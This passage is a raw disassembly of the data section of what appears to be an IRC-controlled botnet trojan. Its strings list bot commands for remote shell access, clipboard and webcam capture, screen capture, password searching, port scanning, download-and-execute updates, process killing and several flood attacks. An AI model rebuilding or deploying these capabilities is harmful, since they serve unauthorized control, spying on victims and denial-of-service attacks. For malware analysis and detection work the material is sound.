6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+584Ao dd 2BBBB02h, 70552020h, 656D6974h, 7325203Ah, 2Eh dword_43585C dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_4145F9o dd 2BBBB02h aRemoteShellRea db ' Remote shell ready.',0 align 4 dword_43588C dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5780o dd 2BBBB02h aCouldnTOpenRem db ' Couldn',27h,'t open remote shell.',0 align 4 dword_4358C4 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5764o dd 2BBBB02h aRemoteShellAlr db ' Remote shell already running.',0 dword_4358FC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5746o dd 2BBBB02h, 65472020h, 6C432074h, 6F627069h, 2E647261h dd 0 aClipboardData db '-[Clipboard Data]-',0 ; DATA XREF: sub_40EE72+5718o align 4 unk_43593C db 2 ; DATA XREF: sub_40EE72:loc_41457Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToFlushA db ' Failed to flush ARP cache.',0 align 4 unk_435978 db 2 ; DATA XREF: sub_40EE72+56EDo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aArpCacheFlushe db ' ARP cache flushed.',0 align 4 unk_4359AC db 2 ; DATA XREF: sub_40EE72:loc_41454Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToLoadDn db ' Failed to load dnsapi.dll.',0 align 4 unk_4359E8 db 2 ; DATA XREF: sub_40EE72:loc_414548o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToFlushD db ' Failed to flush DNS cache.',0 align 4 unk_435A24 db 2 ; DATA XREF: sub_40EE72+56CFo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDnsCacheFlushe db ' DNS cache flushed.',0 align 4 dword_435A58 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_40EE72+565Fo dd 2029671Fh, 2BBBB02h aFailedToSta_10 db ' Failed to start server thread, error: <%d>.',0 align 4 dword_435AA4 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_40EE72+55F4o dd 2029671Fh, 2BBBB02h aServerListen_0 db ' Server listening on IP: %s:%d, Username: %s.',0 align 10h unk_435AF0 db 2 ; DATA XREF: sub_40EE72+5528o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToSta_11 db 'Failed to start server thread, error: <%d>.',0 unk_435B38 db 2 ; DATA XREF: sub_40EE72+53B2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_12 db ' Failed to start server thread, error: <%d>.',0 align 10h unk_435B80 db 2 ; DATA XREF: sub_40EE72+5287o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aAlreadyRunni_0 db ' Already running.',0 unk_435BAC db 2 ; DATA XREF: sub_40EE72+5271o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_13 db ' Failed to start search thread, error: <%d>.',0 unk_435BF8 db 2 ; DATA XREF: sub_40EE72+5200o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSearchingForPa db ' Searching for password.',0 unk_435C30 db 2 ; DATA XREF: sub_40EE72:loc_414039o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_14 db ' Failed to start scan, port is invalid.',0 align 4 unk_435C74 db 2 ; DATA XREF: sub_40EE72+5108o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSPortScanStart db ' %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 align 4 dword_435CEC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4EC8o dd 2BBBB02h aNickChangedToS db ' Nick changed to: ',27h,'%s',27h,'.',0 align 10h dword_435D20 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4EACo dd 2BBBB02h aJoinedChannelS db ' Joined channel: ',27h,'%s',27h,'.',0 dword_435D50 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4E89o dd 2BBBB02h aPartedChannelS db ' Parted channel: ',27h,'%s',27h,'.',0 dword_435D80 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4E6Do dd 2BBBB02h, 52492020h, 61522043h, 25203A77h, 2E73h dword_435DA8 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_413C5Eo dd 2029671Fh, 2BBBB02h aFailedToKillTh db ' Failed to kill thread: %s.',0 align 4 dword_435DE4 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE72+4DE5o dd 2029671Fh, 2BBBB02h aKilledThreadS_ db ' Killed thread: %s.',0 align 4 dword_435E18 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_413C11o dd 2029671Fh, 2BBBB02h aNoActiveThread db ' No active threads found.',0 align 10h dword_435E50 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE72+4D86o dd 2029671Fh, 2BBBB02h aStoppedDThread db ' Stopped: %d thread(s).',0 align 4 aAll db 'all',0 ; DATA XREF: sub_40EE72+4D6Co aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+4CE5o ; sub_40EE72:loc_414B4Co align 4 dword_435E9C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4C6Ao dd 2BBBB02h aPrefixChangedT db ' Prefix changed to: ',27h,'%c',27h,'.',0 align 10h unk_435ED0 db 3 ; DATA XREF: sub_40EE72:loc_413AC7o db 31h, 35h, 2Ch db 31h ; 1 db 34h, 6Eh, 7Ah db 6Dh ; m db 20h, 3, 32h db 2Eh ; . db 2Eh, 20h, 3 db 31h ; 1 db 35h, 28h, 73h db 68h ; h db 65h, 2 dup(6Ch) db 3 db 32h, 2Eh, 3 db 31h ; 1 db 35h, 6Dh, 6Fh db 64h ; d db 29h, 20h, 3 db 32h ; 2 db 0BBh, 3, 31h a5CouldnTOpenFi db '5 Couldn',27h,'t open file: %s',0 align 4 unk_435F14 db 3 ; DATA XREF: sub_40EE72+4C4Bo db 31h, 35h, 2Ch db 31h ; 1 db 34h, 6Eh, 7Ah db 6Dh ; m db 20h, 3, 32h db 2Eh ; . db 2Eh, 20h, 3 db 31h ; 1 db 35h, 28h, 73h db 68h ; h db 65h, 2 dup(6Ch) db 3 db 32h, 2Eh, 3 db 31h ; 1 db 35h, 6Dh, 6Fh db 64h ; d db 29h, 20h, 3 db 32h ; 2 db 0BBh, 3, 31h a5FileOpenedS db '5 File opened: %s',0 align 10h dword_435F50 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4C2Bo dd 2BBBB02h aServerChangedT db ' Server changed to: ',27h,'%s',27h,'.',0 align 4 dword_435F84 dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_413A51o dd 2BBBB02h aCouldnTResol_0 db ' Couldn',27h,'t resolve hostname.',0 align 4 dword_435FBC dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4BB4o dd 2BBBB02h aLookupSS_ db ' Lookup: %s -> %s.',0 unk_435FE8 db 2 ; DATA XREF: sub_40EE72:loc_4139F2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToTermin db 'Failed to terminate process: %s',0 unk_436028 db 2 ; DATA XREF: sub_40EE72+4B76o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aProcessKilledS db 'Process killed: %s',0 align 4 unk_43605C db 2 ; DATA XREF: sub_40EE72:loc_413992o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToTerm_0 db 'Failed to terminate process ID: %s',0 align 10h unk_4360A0 db 2 ; DATA XREF: sub_40EE72+4B19o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aProcessKilledI db 'Process killed ID: %s',0 align 4 dword_4360D8 dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch ; DATA XREF: sub_40EE72+4AD4o dd 0BBBB0220h, 44202002h, 74656C65h, 27206465h, 2E277325h dd 0 dword_436104 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4A4Fo dd 2BBBB02h aSendFileSUserS db ' Send File: %s, User: %s.',0 align 4 dword_436138 dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch ; DATA XREF: sub_40EE72+49D4o dd 0BBBB0220h, 4C202002h, 3A747369h, 732520h unk_43615C db 2 ; DATA XREF: sub_40EE72+49B6o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 76h, 69h, 73h db 69h ; i db 74h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToSta_15 db 'Failed to start connection thread, error: <%d>.',0 dword_4361A8 dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh ; DATA XREF: sub_40EE72+4947o dd 0BB022029h, 202002BBh, 3A4C5255h, 2E732520h, 0 dword_4361D0 dd 7A026E02h, 201F6D1Fh, 72696D28h, 1F702E63h, 29671F6Ch ; DATA XREF: sub_40EE72:loc_413747o dd 0BBBB0220h, 43202002h, 616D6D6Fh, 7320646Eh, 2E746E65h dd 0 unk_4361FC db 2 ; DATA XREF: sub_40EE72+48CBo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Dh, 69h, 72h db 63h ; c db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientNotOpen_ db ' Client not open.',0 dword_436228 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+489Ao dd 2BBBB02h, 6F432020h, 6E616D6Dh, 203A7364h, 7325h dword_436250 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+488Fo dd 2BBBB02h aErrorSendingTo db ' Error sending to remote shell.',0 align 4 dword_43628C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+484Fo dd 2BBBB02h aReadFileFailed db ' Read file failed: %s',0 align 4 dword_4362BC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+483Bo dd 2BBBB02h aReadFileComple db ' Read file complete: %s',0 align 10h dword_4362F0 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_41363Bo dd 2029671Fh, 2BBBB02h aInvalidParam_0 db ' Invalid parameters for amateur video capture.',0 dword_43633C dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_413631o dd 2029671Fh, 2BBBB02h aErrorWhileCapt db ' Error while capturing amateur video from webcam.',0 align 4 dword_43638C dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72+47B5o dd 2029671Fh, 2BBBB02h aAmateurVideoSa db ' Amateur video saved to: %s.',0 align 4 dword_4363C8 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_41358Fo dd 2029671Fh, 2BBBB02h aInvalidParam_1 db ' Invalid parameters for webcam capture.',0 align 10h dword_436410 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_413588o dd 2029671Fh, 2BBBB02h aErrorWhileCa_0 db ' Error while capturing from webcam.',0 align 4 dword_436454 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72+4706o dd 2029671Fh, 2BBBB02h aWebcamCaptureS db ' Webcam capture saved to: %s.',0 align 10h aFrame db 'frame',0 ; DATA XREF: sub_40EE72:loc_4134FCo align 4 dword_436498 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72+467Do dd 2029671Fh, 2BBBB02h aDriverListComp db ' Driver list complete.',0 dword_4364CC dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72+4647o dd 2029671Fh, 2BBBB02h aDriverDSS_ db ' Driver #%d - %s - %s.',0 aDrivers db 'drivers',0 ; DATA XREF: sub_40EE72:loc_413465o dword_436508 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_413452o dd 2029671Fh, 2BBBB02h aNoFilenameSpec db ' No filename specified for screen capture.',0 dword_436550 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_41344Bo dd 2029671Fh, 2BBBB02h aErrorWhileCa_1 db ' Error while capturing screen.',0 dword_43658C dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72+45C9o dd 2029671Fh, 2BBBB02h aScreenCaptureS db ' Screen capture saved to: %s.',0 align 4 aScreen db 'screen',0 ; DATA XREF: sub_40EE72:loc_413402o align 10h dword_4365D0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4578o dd 2BBBB02h, 65472020h, 736F6874h, 25203A74h, 2E73h dword_4365F8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4534o dd 2BBBB02h aUnableToExtrac db ' Unable to extract Gethost command.',0 align 4 dword_436638 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4518o dd 2BBBB02h aGethostSComman db ' Gethost: %s, Command: %s',0 align 4 dword_43666C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4498o dd 2BBBB02h aAliasAddedS_ db ' Alias added: %s.',0 align 4 dword_436698 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4461o dd 2BBBB02h aPrivmsgSS_ db ' Privmsg: %s: %s.',0 align 4 dword_4366C4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4413o dd 2BBBB02h aActionSS_ db ' Action: %s: %s.',0 align 10h dword_4366F0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+43A2o dd 2BBBB02h, 79432020h, 2E656C63h, 0 dword_436714 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_40EE72+4368o ; sub_40EE72+4E78o dword_436720 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4341o dd 2BBBB02h aModeChangeS db ' Mode change: %s',0 align 4 aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+4330o align 4 dword_436758 dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h ; DATA XREF: sub_40EE72+4307o dd 2202967h, 2002BBBBh, 77615220h, 73252820h, 25203A29h dd 73h dword_436784 dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h ; DATA XREF: sub_40EE72+4299o dd 2202967h, 2002BBBBh, 646F4D20h, 25282065h, 203A2973h dd 7325h dword_4367B0 dd 45444F4Dh, 732520h ; DATA XREF: sub_40EE72+4241o dword_4367B8 dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h ; DATA XREF: sub_40EE72+4214o dd 2202967h, 2002BBBBh, 63694E20h, 2528206Bh, 203A2973h dd 7325h dword_4367E4 dd 4B43494Eh, 732520h ; DATA XREF: sub_40EE72+41BBo ; sub_40EE72+4CAFo dword_4367EC dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_40EE72+419Co dword_4367F8 dd 54524150h, 732520h ; DATA XREF: sub_40EE72+4132o dword_436800 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_412F91o dd 2BBBB02h aRepeatNotAllow db ' Repeat not allowed in command line: %s',0 align 4 dword_436844 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+40E8o dd 2BBBB02h, 65522020h, 74616570h, 7325203Ah, 0 aRepeat db 'repeat',0 ; DATA XREF: sub_40EE72+4094o align 4 dword_436874 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_412EBEo dd 2BBBB02h, 65442020h, 2E79616Ch, 0 dword_436898 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_40EE72+400Co ; sub_40EE72+40BFo ... unk_4368A8 db 2 ; DATA XREF: sub_40EE72:loc_412E2Bo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 75h, 70h, 64h db 61h ; a db 74h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aBotIdMustBeDif db ' Bot ID must be different than current running process.',0 unk_4368FC db 2 ; DATA XREF: sub_40EE72+3FAFo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 75h, 70h, 64h db 61h ; a db 74h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToStartD db ' Failed to start download thread, error: <%d>.',0 align 4 unk_436948 db 2 ; DATA XREF: sub_40EE72+3F40o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 75h, 70h, 64h db 61h ; a db 74h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aDownloadingUpd db ' Downloading update from: %s.',0 align 4 aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_40EE72+3E97o align 10h dword_436990 dd 7A026E02h, 201F6D1Fh, 65786528h, 1F702E63h, 29671F6Ch ; DATA XREF: sub_40EE72+3E35o dd 0BBBB0220h, 43202002h, 616D6D6Fh, 3A73646Eh, 732520h unk_4369B8 db 2 ; DATA XREF: sub_40EE72+3E2Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 65h, 78h, 65h db 63h ; c db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCouldnTExecute db ' Couldn',27h,'t execute file.',0 align 4 unk_4369EC db 2 ; DATA XREF: sub_40EE72+3DA2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_16 db ' Failed to start search thread, error: <%d>.',0 align 4 unk_436A38 db 2 ; DATA XREF: sub_40EE72+3D28o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSearchingFor_0 db ' Searching for file: %s in: %s.',0 align 4 dword_436A78 dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch ; DATA XREF: sub_40EE72:loc_412AFBo ; sub_40EE72:loc_413964o dd 0BBBB0220h, 2002h unk_436A94 db 2 ; DATA XREF: sub_40EE72+3C71o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aRenameSToS_ db ' Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 4 unk_436AC8 db 2 ; DATA XREF: sub_40EE72:loc_412AC1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aInvalidFloodTi db ' Invalid flood time must be greater than 0.',0 align 10h unk_436B10 db 2 ; DATA XREF: sub_40EE72+3C45o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartF db ' Failed to start flood thread, error: <%d>.',0 align 4 unk_436B58 db 2 ; DATA XREF: sub_40EE72+3BD1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFloodingSForSS db ' Flooding: (%s) for %s seconds.',0 align 4 unk_436B94 db 2 ; DATA XREF: sub_40EE72+3B4Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Ch, 6Fh db 6Eh ; n db 65h, 73h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToSta_17 db ' Failed to start clone thread, error: <%d>.',0 unk_436BDC db 2 ; DATA XREF: sub_40EE72+3ADFo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Ch, 6Fh db 6Eh ; n db 65h, 73h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aCreatedOnSDInC db ' Created on %s:%d, in channel %s.',0 align 4 unk_436C1C db 2 ; DATA XREF: sub_40EE72+3A57o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 2 dup(64h), 6Fh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_18 db ' Failed to start flood thread, error: <%d>.',0 align 4 unk_436C64 db 2 ; DATA XREF: sub_40EE72+39E8o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 2 dup(64h), 6Fh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFloodingSSForS db ' Flooding: (%s:%s) for %s seconds.',0 align 4 dword_436CA4 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+394Ao dd 2BBBB02h aFailedToSta_19 db ' Failed to start flood thread, error: <%d>.',0 align 4 dword_436CEC dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+38D9o dd 2BBBB02h aFloodingSSFo_0 db ' Flooding: (%s:%s) for %s seconds.',0 unk_436D28 db 2 ; DATA XREF: sub_40EE72+3860o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartT db ' Failed to start transfer thread, error: <%d>.',0 align 4 unk_436D78 db 2 ; DATA XREF: sub_40EE72+37F1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloadingUrl db ' Downloading URL: %s to: %s.',0 align 4 unk_436DB4 db 2 ; DATA XREF: sub_40EE72+371Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 